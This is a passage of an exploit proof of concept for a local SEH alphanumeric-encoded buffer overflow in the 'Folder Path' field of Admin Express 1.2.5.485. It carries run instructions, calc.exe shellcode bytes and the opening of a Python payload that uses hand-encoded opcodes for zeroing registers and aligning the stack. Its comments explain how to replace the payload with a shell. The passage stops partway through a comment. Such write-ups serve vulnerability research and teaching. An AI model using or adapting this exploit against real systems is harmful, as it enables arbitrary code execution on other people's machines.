Admin Express 1.2.5.485 – ‘Folder Path’ Local SEH Alphanumeric Encoded Buffer Overflow
# Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow # Date: May 6th, 2019 # Author: Connor McGarr (https://connormcgarr.github.io) # Vendor Homepage: https://admin-express.en.softonic.com/ # Software Link: https://admin-express.en.softonic.com/download # Version v1.2.5.485 # Tested on: Windows XP SP3 EN # TO RUN: # 1. Run python script # 2. Copy contents of pwn.txt # 3. Open Admin Express # 4. Select System Compare # 5. Paste contents into the left-hand side Folder Path field # 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs # This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload. # 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set. # Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe # You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is # much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards. # You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack. # calc.exe shellcode: # "\x31\xc9\x51\x68" # "\x63\x61\x6c\x63" # "\x54\xB8\xc7\x93" # "\xc2\x77\xff\xd0" # For zeroing out registers before manual shellcode zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101 zero += "\x25\x10\x10\x10\x10" # and eax, 0x10101010 # We need to save the current stack pointer before execution of shellcode, due to # old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack) restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.) restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later) # Stack alignment # Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack. # After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack. alignment = "\x54" # push esp alignment += "\x58" # pop eax; (puts the value of ESP into EAX) # Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do # it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my # other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub # math difference results.
